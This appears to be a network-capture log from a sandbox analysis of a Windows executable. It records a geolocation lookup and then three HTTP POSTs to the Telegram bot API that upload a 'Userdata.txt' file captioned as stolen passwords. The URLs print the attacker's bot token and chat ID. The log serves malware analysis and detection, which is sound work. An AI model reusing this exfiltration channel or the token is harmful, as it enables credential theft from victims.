2025-01-10 20:41:07 UTC	4930	IN	Data Raw: 4b 62 91 c4 3d a5 ac 30 45 b1 f6 1a 67 3b a0 a0 c1 d5 3f 0f 5f d9 b2 82 30 8f 18 c1 f9 80 3e f1 18 8e df f7 69 93 ec 26 1a 78 b6 b1 c5 f3 01 40 5d 5f 2e 70 1b 2a ce 0a dc 45 77 ce 67 b0 49 e4 45 1f 25 9b 3c 68 be 1d 9e 9d d9 bb 43 89 8c f8 e7 0f 50 01 c4 9b 6f 10 84 0a ce 09 65 62 5f d3 8c 8a 93 56 c9 8d 23 a5 35 04 0f 70 d5 c1 62 6a b0 85 84 b2 5c 5d d1 08 70 b7 b2 4d cd 11 a4 ce 41 66 39 a6 ef 26 10 aa 2a 3a 15 16 59 65 82 a2 5b 60 7c 73 9b 51 b3 a9 0c cb 61 f2 10 a7 e8 9d 3a eb 1f fd d2 fa d2 56 94 72 63 bc 9f a7 f9 71 f0 a3 34 43 f6 fe 4c 3b 83 25 50 2e ff 20 c8 c2 d5 24 c1 06 08 ba 19 0e 46 ce 78 d0 db 2d 9a 29 8c 77 31 9d 88 6a 2b 98 bd c3 f8 e0 a0 ff b8 17 5d d2 2d 7f a3 ab e2 9d 5f 41 f1 d8 ee 9d 29 46 fa c0 04 ee 77 c7 27 e3 69 69 b0 44 12 ea 03 Data Ascii: Kb=0Eg;?_0>i&x@]_.pEwgIE%<hCPoeb_V#5pbj\]pMAf9&:Ye[`\|sQa:Vrcq4CL;%P. $Fx-)w1j+]-_A)Fw'iiD
2025-01-10 20:41:07 UTC	4839	IN	Data Raw: a2 1f 34 9b 56 6e ca dd e9 c7 60 1b 3f 05 0e 90 25 6a 27 d3 f4 fb c1 5f 63 50 d8 1c 61 9d 00 54 c4 88 0b 24 d7 9f 87 b7 99 42 76 71 f9 c0 d7 c5 fe e2 97 9e 90 6e 2f 8b d0 07 a8 44 31 49 e6 c7 6c 8d 80 29 b3 ef 4a bb 1b 66 c4 b3 71 f3 9b 49 29 35 c6 f4 a8 91 db dd a9 1f d4 ed ad 5b 8a dc f4 b0 87 f4 d9 99 63 f1 71 31 e0 78 2c 7d 37 99 8c 55 e8 00 60 fd 36 9e db 37 9f 9a 89 71 7d ca f1 37 79 de ec b7 5f e9 10 b4 f6 26 28 e7 7c 36 c7 5c 8e f7 f7 72 de e7 d7 af 4b 04 81 e6 18 ac aa 01 b5 6e 22 f0 9d 2f 64 91 1c a6 4d 82 9e 70 5d e7 46 26 85 b6 ef ee 96 e2 5b 5b 01 da e6 3b 55 30 3b 4c 91 70 ad df d3 83 87 5c 7b ed e8 4f 22 a5 11 4d 20 7f ae 2b 13 f4 d5 57 19 ee bc 9b fe 3b d1 a3 12 47 79 06 a1 ae e2 46 7d 80 ed 60 de 36 2e 32 00 52 7a 32 e4 7f 33 50 e7 cd ec Data Ascii: 4Vn`?%j'_cPaT$Bvqn/D1Il)JfqI)5[cq1x,}7U`67q}7y_&(\|6\rKn"/dMp]F&[[;U0;Lp\{O"M +W;GyF}`6.2Rz23P
2025-01-10 20:41:07 UTC	1322	IN	Data Raw: 16 21 0b 8a 50 28 80 6f 94 49 0b dc d2 3c f5 99 44 24 e8 1a 5a ac 2e e5 0d e5 e0 b7 6b 91 9a 2e e5 96 41 8c 6b cd 9a 5e 08 45 b1 b3 ee 68 be 17 e7 d1 d9 bb b8 76 8c d2 5f 0f 50 12 f4 99 6f 8a c4 0a ce 2d 65 62 4e d3 8e f1 d5 56 c9 89 5d f6 35 04 05 58 81 c1 62 60 ba 83 97 b6 4d 59 fd 05 72 cc f4 4d 4d 15 8c 1d 4f 79 89 a8 ef 92 1b 1c 41 82 14 5e ea 17 d6 ca 38 3b 08 03 e9 34 df dc 7e a3 50 94 5d c4 84 89 04 cb 7d 9c da 5b a7 38 be 1b 0d 9c d9 93 e2 51 9d c8 2e 75 d8 f3 4b 19 f3 25 50 24 f3 28 db c4 94 67 ed 0b 46 c0 52 0e f1 f0 25 b2 db 2d 90 29 8c 77 33 e6 24 6a 29 9d c8 91 a8 e0 aa b1 ed 17 5d d0 20 76 b0 ac f3 9a ad c9 f2 a3 a2 bd 29 42 d2 b3 05 ee 7d c7 67 e3 43 49 b0 5f 22 e2 03 f7 51 56 71 e8 a3 8b 97 68 b9 85 30 70 35 e2 bb b0 79 5f f7 f0 6f 9d e9 Data Ascii: !P(oI<D$Z.k.Ak^Ehv_Po-ebNV]5Xb`MYrMMOyA^8;4~P]}[8Q.uK%P$(gFR%-)w3$j)] v)B}gCI_"QVqh0p5y_o
2025-01-10 20:41:07 UTC	1390	IN	Data Raw: ef 6c 06 6d 8c 67 a9 8a e1 dc f9 8c c0 d6 88 2d 66 fe 24 c8 ae b3 ed 23 da 1d 16 62 86 a3 1b 82 6d 54 ee 62 44 8c 21 f7 48 c7 2c 1f 57 47 a6 fa e5 ae 0e 9e 1b 6a f1 a3 9d dc 30 17 95 19 d8 33 40 19 ef 65 0e 68 3d 46 2c 48 10 e0 c0 df 3f 01 38 c2 df 28 44 fd ef e7 91 64 e9 64 c0 b3 dd d7 a8 93 80 1b da bc 37 2a 1a e7 01 dc 90 1e 7c 90 aa 9e 7d 1c d9 f2 2d 63 dc 57 b8 69 f9 af 43 83 25 e0 26 53 73 60 29 8c a6 7e 3b 91 f0 1d f9 55 97 cb 0d 39 ae a6 d8 03 68 6e 6a 5d 31 ae 84 19 26 fb 88 0e 8a e7 9e 74 54 e6 7b 7e de 4f 07 29 3c 0c 00 6a 7a 8a cc e3 f0 e9 8a 2c 98 f8 ef 98 2f b4 48 5c 65 d7 15 22 8c a5 14 a1 84 48 27 09 d1 b4 9e 7a 8f 55 d6 85 46 17 d1 79 54 dc ec 4d 75 45 f9 80 ef c7 33 32 16 5f f7 09 13 c0 97 a9 de 0a d4 25 cf 3b a8 ba 4d b8 4d f2 83 c7 05 Data Ascii: lmg-f$#bmTbD!H,WGj03@eh=F,H?8(Ddd7*\|}-cWiC%&Ss`)~;U9hnj]1&tT{~O)<jz,/H\e"H'zUFyTMuE32_%;MM
2025-01-10 20:41:07 UTC	1390	IN	Data Raw: bd d8 c0 5c c2 7a 18 62 15 ea 8d 02 57 03 73 17 bb 7a 7b e4 1b f6 07 7f b2 ae 46 ee d8 cd 08 6f d2 68 0d 4e f4 fa ff 23 b7 b4 a0 f8 c4 54 9e 68 2a 43 c7 dd 2a 86 bd 6a 4a 91 e6 6b 6e 9d af e8 47 a2 ae 99 55 15 b4 61 6a 73 30 dd 63 e5 ef c1 6e 37 74 09 9f c5 dd 2d b7 23 ca 86 d4 ab 73 b4 31 2c 95 e1 b6 93 c0 dc 53 1c df 95 11 13 cd 4b 68 93 55 da ed a9 52 40 0d 44 0b 98 6a a3 c8 12 ba d1 81 d6 f8 20 61 92 3f 41 b8 90 70 56 fd 38 61 08 ca 0a d5 67 a9 f8 5e fe a0 4d b1 e7 ec d5 c3 ab 36 37 9a d5 b4 47 66 f9 b3 f3 f4 fa 13 bc 7c 00 a6 25 cb d8 ff 1d 0b fe c6 58 4b 62 f9 18 43 05 e2 28 5a 4b 3a 18 1f ef b4 66 1f 77 f9 6f e4 78 d6 8e 9f 6d f4 92 cf d1 4f c0 b0 33 09 33 f7 77 9c 2c 9f bf df 86 52 9e 1b 07 44 e3 06 9b b1 6a c1 d4 bb d7 97 44 f4 af 6e ca d0 ab 40 Data Ascii: \zbWsz{FohN#ThCjJknGUajs0cn7t-#s1,SKhUR@Dj a?ApV8ag^M67Gf\|%XKbC(ZK:fwoxmO33w,RDjDn@
2025-01-10 20:41:07 UTC	1390	IN	Data Raw: a3 ad c8 9d 81 df c0 de ee af 28 46 fa 51 05 ee 66 c7 65 91 a1 52 b0 34 3a a6 03 dd 5a 5d 67 40 fa 8b 86 69 b7 fc 25 88 35 e6 cf 98 87 5e fe 87 45 98 f8 fc 48 fb 5b 3b bc d2 b5 0b 3a 6e 04 7a bd c6 21 d7 24 22 28 20 70 0b 1a 77 ae 71 27 9e 36 07 09 ec 82 99 cd 3c 86 89 ee a5 a7 cf 2a 8a d2 1a d5 d0 cd cd 07 f6 19 71 a2 a8 fd f7 64 ec 53 c3 93 f6 8e 73 8a 03 61 c6 cd 1c e3 21 63 e1 05 a6 eb 1b f4 cb 40 f5 3c 47 0d af 77 2a af e5 17 07 e7 df e0 f3 96 0d 75 56 17 0e 53 b7 3b e0 47 a3 01 6a 22 7a ab a8 8f e7 91 fe 8b bc 12 1f db a9 46 74 25 1f 1c c0 01 1a 73 0b 69 8d 6c 96 e9 36 73 53 dd fa d2 ec 56 8d 1a 19 d6 8c 76 b7 33 8e 35 11 19 04 fe 13 23 93 ca 6d ad 90 ba a5 9d b9 52 c4 4b c0 29 1f 96 a2 ea 77 27 7d 67 b5 73 47 7f 58 a5 93 8a 24 c8 e7 61 d5 0d 2c fe Data Ascii: (FQfeR4:Z]g@i%5^EH[;:nz!$"( pwq'6<qdSsa!c@<GwuVS;Gj"zFt%sil6sSVv35#mRK)w'}gsGX$a,
2025-01-10 20:41:07 UTC	1390	IN	Data Raw: 51 64 4e 6f 1e 71 50 a0 63 1b 9a a5 1d 6b 9b a6 87 5a c1 5e 65 dd 23 c0 b3 0d 32 d1 a7 d7 31 49 aa e3 3c a7 70 cf 7b 77 d8 fe 74 60 68 0e ae 18 21 c8 20 ff 81 56 47 1b 23 90 68 55 ee 35 a2 4d be 87 ae 10 f6 8a 86 27 fe cb c5 97 59 d3 82 5d ed 5f dd 48 32 68 82 b4 20 7c 72 ab d8 5a 16 f6 66 56 5b 33 76 af f9 33 d6 15 7d 9a b4 08 70 e2 3a f2 a9 84 79 7a df 43 fd e0 9d 07 1a 7b d0 b5 3b 21 e6 4b 4d f8 a6 c4 4f d7 58 c2 c0 df ec 6f 64 ae e8 cb 70 b7 19 48 ef d3 75 fd 5d 84 fe 6b 62 97 14 fa 23 8d 48 7e 25 63 11 24 4e d6 cb 16 cb 93 28 0d 08 3d 96 8c f9 2a 4a 0f e4 d8 4a c0 29 52 88 06 f3 b8 41 f8 61 6d 48 9b fb 74 a7 28 90 88 ac 96 52 5b d5 80 96 b5 fb 83 ff 5c 21 2f 38 0c 61 23 c0 ed b0 c6 90 3a 33 69 bc 94 99 65 d5 67 bf bc 55 98 ea 79 43 16 fe b0 bb 83 5f Data Ascii: QdNoqPckZ^e#21I<p{wt`h! VG#hU5M'Y]_H2h \|rZfV[3v3}p:yzC{;!KMOXodpHu]kb#H~%c$N(=*JJ)RAamHt(R[\!/8a#:3iegUyC_
2025-01-10 20:41:07 UTC	1390	IN	Data Raw: 62 1f b1 43 58 ec f5 18 24 dd f4 ab 3d 99 48 13 74 26 cc dd e4 46 e5 9e f7 82 67 3e 88 c4 25 77 44 1e 70 df d1 92 86 80 26 a2 cc 34 ad 33 c6 19 a4 79 e2 9e 26 76 35 b8 e6 b9 98 f7 3a ff 14 d2 8e be 73 0b dc df 9a 91 22 72 8a 66 ea 7c 19 fc 0b b0 61 37 9a 6f 80 e8 0a 75 94 78 98 a5 23 b7 26 8d 02 f6 d9 f4 3d 07 54 9e 55 50 e9 71 a4 b1 28 28 e7 7c 5e 18 5f 9f f6 ea 00 db e7 ad b9 72 83 a9 77 12 ba 5e 70 9a 76 2e 91 b9 35 29 8c 97 f6 70 82 9f 5f 63 d2 a0 32 8f a9 df cb 81 e1 f9 6f 1f da ce 29 55 30 e7 74 88 61 ad 0f 64 92 f5 6a 46 aa 98 ed 0d d1 93 48 82 50 b2 27 2f d4 d5 23 c8 52 1c 9b f4 22 c5 bf 6a 27 ec 06 a5 b5 fe 69 5c 16 ed 6a 54 39 50 12 04 52 7e 50 74 68 e5 49 f3 d4 95 7e c5 f0 86 d3 72 49 a5 f7 6c 4f 3d 80 57 a6 df d8 8a 3f da ae b6 2c 97 e6 91 a7 Data Ascii: bCX$=Ht&Fg>%wDp&43y&v5:s"rf\|a7oux#&=TUPq((\|^_rw^pv.5)p_c2o)U0tadjFHP'/#R"j'i\jT9PR~PthI~rIlO=W?,
2025-01-10 20:41:07 UTC	1390	IN	Data Raw: 4a cc 22 a5 66 58 ad e4 6e 56 7e 4e ed 76 d8 56 ac 64 f3 e7 60 db bb cd 53 ea 74 eb 55 eb dd 62 78 27 2c bd 31 62 74 41 e6 d7 4d 17 fd 62 e6 9b 50 5f 30 20 9f 87 91 9d cf ad 71 6a a7 8f eb 06 30 0d ed 2d a0 a4 bf b8 39 90 bc a7 9f 2c ce 3c f3 40 b2 31 62 62 cc f9 20 2f 27 ce 90 11 77 bb 69 37 38 72 fd 77 36 fc 7e c5 b8 9d fa d4 f0 4f c8 43 ce 3c 98 8a ec a5 9a 43 bc 2c ac d0 f6 5a 6b 2b e9 3f 31 4b 4c 42 7f da 05 ad 85 5e ff 8f 50 2c ff 6a a3 4f 1a cb b5 f8 2c 36 f2 22 e7 4c 7d b4 4c 28 e6 33 08 8f dd 0c da f4 d9 17 97 02 02 9c c5 01 82 07 8c 03 66 2c 50 43 08 21 4c 08 41 01 1e 24 b8 ce 79 f3 0b f8 1d 33 59 2b f4 91 2b fc d6 7b 73 b4 80 ff 2b a9 c8 13 08 e3 18 95 0d b4 af c2 ed 78 1b 7e 13 0f 8f 84 67 13 4a 08 6f c2 de 36 12 e2 08 10 03 c2 e3 02 36 11 c3 Data Ascii: J"fXnV~NvVd`StUbx',1btAMbP_0 qj0-9,<@1bb /'wi78rw6~OC<C,Zk+?1KLB^P,jO,6"L}L(3f,PC!LA$y3Y++{s+x~gJo66
2025-01-10 20:41:07 UTC	1390	IN	Data Raw: c5 dd e8 e4 a3 9f 29 92 f0 f2 79 47 7d bd 2f 96 67 37 4e 5d 0c 69 a3 95 86 da 35 c1 9d a4 2e 5e 41 0e 50 9b dd f3 86 fd 99 04 67 84 d9 25 d9 79 0c 16 f8 42 7a b3 2c 64 7c b7 03 df 0f c5 fd 4a 7a 19 36 cf 0f d6 d9 8f 92 ae dc 31 a7 69 8e bb 3b ba 98 4c 37 76 b0 3f fa 84 6a 84 6d 78 f9 01 3c f1 9d 28 b5 fb 1c 48 97 fb dd 1a ee e0 b5 66 0e f4 21 c0 8a 41 f8 06 1a e1 13 0e 48 bd 8a 38 1a c0 01 9a ed b6 6e bc 76 8a eb 5b 07 41 06 b6 07 73 10 b4 65 1b 09 65 64 4c d6 9d 8f bb c5 c9 8d 25 b6 3d 15 07 5c 96 c7 4a 69 b1 85 8e dd 58 5c d1 02 1f b2 b3 4d 47 39 30 ce 4f 7f 90 a1 fe 9b 0d 99 0a 91 1e 4b 9e 52 28 cb 21 18 4d 08 c5 28 fc 71 6d a6 4b 80 74 a6 d9 f2 4e c1 6c 91 da 1d a7 38 b2 08 08 9c db e8 81 71 9d e4 fa 26 d8 f9 49 20 a0 57 cc 32 ff 50 a7 17 85 61 c7 69 Data Ascii: )yG}/g7N]i5.^APg%yBz,d\|Jz61i;L7v?jmx<(Hf!AH8nv[AseedL%=\JiX\MG90OKR(!M(qmKtNl8q&I W2Pai

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49713	104.21.48.1	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:11 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 20:41:11 UTC	857	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:11 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1856460 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y%2Bszv4c475BOFEEtS%2FWrxLokfIe5NVzg1MziwJYzA54jrmltHEAvdp%2FrsQo%2FChcjTy4iRb7eBStGYRj6gtJfhHPVxQaehCBWILKgHepZZOfShfQiee5g4hWauLkDcveWSr4ukiKv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff7c86bd9d42e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1630&min_rtt=1627&rtt_var=617&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1764350&cwnd=240&unsent_bytes=0&cid=14683f272d0e6c53&ts=152&x=0"
2025-01-10 20:41:11 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49740	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:17 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd318d38847f8a Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:17 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 38 64 33 38 38 34 37 66 38 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd318d38847f8aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:18 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:18 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:18 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 37 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44644,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541678,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49757	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:20 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31a7b8073b53 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:20 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 61 37 62 38 30 37 33 62 35 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31a7b8073b53Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:20 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:20 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:20 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 38 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44646,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541680,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49769	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:22 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31bf58e38809 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:22 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 62 66 35 38 65 33 38 38 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31bf58e38809Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:22 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:22 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:22 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 38 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44648,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541682,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
